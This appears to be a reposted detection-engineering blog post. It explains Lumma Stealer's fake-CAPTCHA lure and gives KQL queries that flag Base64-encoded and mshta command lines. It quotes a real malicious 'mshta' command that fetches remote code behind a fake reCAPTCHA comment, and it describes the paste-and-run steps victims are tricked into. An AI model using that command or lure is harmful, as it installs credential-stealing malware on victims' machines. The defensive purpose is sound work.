Inspired by the Lumma Stealer Case
A recent case involving the Lumma Stealer confirms my suspicious that this malware has increased in attacks during last month of 2024:
How this Lumma Stealer work? In a nutshell, users are redirected to fake CAPTCHA sites manipulated by malicious actors exploiting legitimate software or public-facing applications. When a user clicks the “I’m not a robot” button, they are presented with verification steps that prompt them to press Win+R, paste a command (Ctrl+V), and execute it in the command prompt.
To know more about this Malware case: (https://blog.qualys.com/vulnerabilities-threat-research/2024/10/20/unmasking-lumma-stealer-analyzing-deceptive-tactics-with-fake-captcha)
Interestingly, these attacks do not always use PowerShell as in the picture above. Instead, other applications, such as mshta, are employed as the command line instead of powershell or cmd. For instance, a malicious command might look like ‘mshta https://versyasist.sbs/web55.mp4 # ✅ ‘I am not a robot — reCAPTCHA Verification’. Mshta is a trusted Windows tool used for running HTML applications and embedded scripts, making it an ideal choice for attackers.
Why does this matter?
Queries focusing solely on commands containing Powershell or specific execution indicators like -ec will miss these threats. Attackers are diversifying their approach by encoding malicious code and running it through alternative applications like mshta.
Solution: A KQL Query to Detect Encoded Commands
This KQL Query address the challenge of identifying encoded commands, regardless of the application used.
Here’s the approach I used:
- Analyze the Command Line: Review the first five (or more if you think is necessary) words of the command line.
- Identify the Longest Word: Extract the largest word in the command.
- Validate for Base64 Encoding: Check if the word is Base64 encoded.
- Decode and Review: Decode the word to expose potential malicious content.
This query flags encoded commands irrespective of the software or application used, and the best part is that just will show true positive of encoded code.
DeviceFileEvents
| extend CommandWords = split(InitiatingProcessCommandLine, " ") // Split the command into words
| extend Word1 = CommandWords[0], // First word
Word2 = CommandWords[1], // Second word
Word3 = CommandWords[2], // Third word
Word4 = CommandWords[3], // Fourth word
Word5 = CommandWords[4]
| extend LongestWord = case(
strlen(Word1) >= strlen(Word2) and strlen(Word1) >= strlen(Word3) and strlen(Word1) >= strlen(Word4) and strlen(Word1) >= strlen(Word5), Word1,
strlen(Word2) >= strlen(Word1) and strlen(Word2) >= strlen(Word3) and strlen(Word2) >= strlen(Word4) and strlen(Word2) >= strlen(Word5), Word2,
strlen(Word3) >= strlen(Word1) and strlen(Word3) >= strlen(Word2) and strlen(Word3) >= strlen(Word4) and strlen(Word3) >= strlen(Word5), Word3,
strlen(Word4) >= strlen(Word1) and strlen(Word4) >= strlen(Word2) and strlen(Word4) >= strlen(Word3) and strlen(Word4) >= strlen(Word5), Word4,
Word5 // Default case if Column5 is the longest
)
| extend tostring(LongestWord)
| extend DecodedBytes = base64_decode_tostring(LongestWord)
| extend DecodedString = tostring(DecodedBytes)
| where isnotempty(DecodedString)
| distinct DeviceName,InitiatingProcessCommandLine,LongestWord,DecodedString
In addition, the same KQL Query but focus on detect Lumma Stealer cases:
DeviceFileEvents
| extend CommandWords = split(InitiatingProcessCommandLine, " ") // Split the command into words
| extend Word1 = CommandWords[0], // First word
Word2 = CommandWords[1], // Second word
Word3 = CommandWords[2], // Third word
Word4 = CommandWords[3], // Fourth word
Word5 = CommandWords[4]
| extend LongestWord = case(
strlen(Word1) >= strlen(Word2) and strlen(Word1) >= strlen(Word3) and strlen(Word1) >= strlen(Word4) and strlen(Word1) >= strlen(Word5), Word1,
strlen(Word2) >= strlen(Word1) and strlen(Word2) >= strlen(Word3) and strlen(Word2) >= strlen(Word4) and strlen(Word2) >= strlen(Word5), Word2,
strlen(Word3) >= strlen(Word1) and strlen(Word3) >= strlen(Word2) and strlen(Word3) >= strlen(Word4) and strlen(Word3) >= strlen(Word5), Word3,
strlen(Word4) >= strlen(Word1) and strlen(Word4) >= strlen(Word2) and strlen(Word4) >= strlen(Word3) and strlen(Word4) >= strlen(Word5), Word4,
Word5 // Default case if Column5 is the longest
)
| extend tostring(LongestWord)
| extend DecodedBytes = base64_decode_tostring(LongestWord)
| extend DecodedString = tostring(DecodedBytes)
| where DecodedString contains "mshta" or InitiatingProcessCommandLine contains "mshta"
| distinct DeviceName,InitiatingProcessCommandLine,LongestWord,DecodedString
Detecting Base64 Code in Commands was originally published in Detect FYI on Medium, where people are continuing the conversation by highlighting and responding to this story.
Introduction to Malware Binary Triage (IMBT) Course
Looking to level up your skills? Get 10% off using coupon code: MWNEWS10 for any flavor.
Enroll Now and Save 10%: Coupon Code MWNEWS10
Note: Affiliate link – your enrollment helps support this platform at no extra cost to you.
Article Link: Detecting Base64 Code in Commands | by Sergio Albea | Feb, 2025 | Detect FYI
1 post - 1 participant
Malware Analysis, News and Indicators - Latest topics
Post a Comment
Post a Comment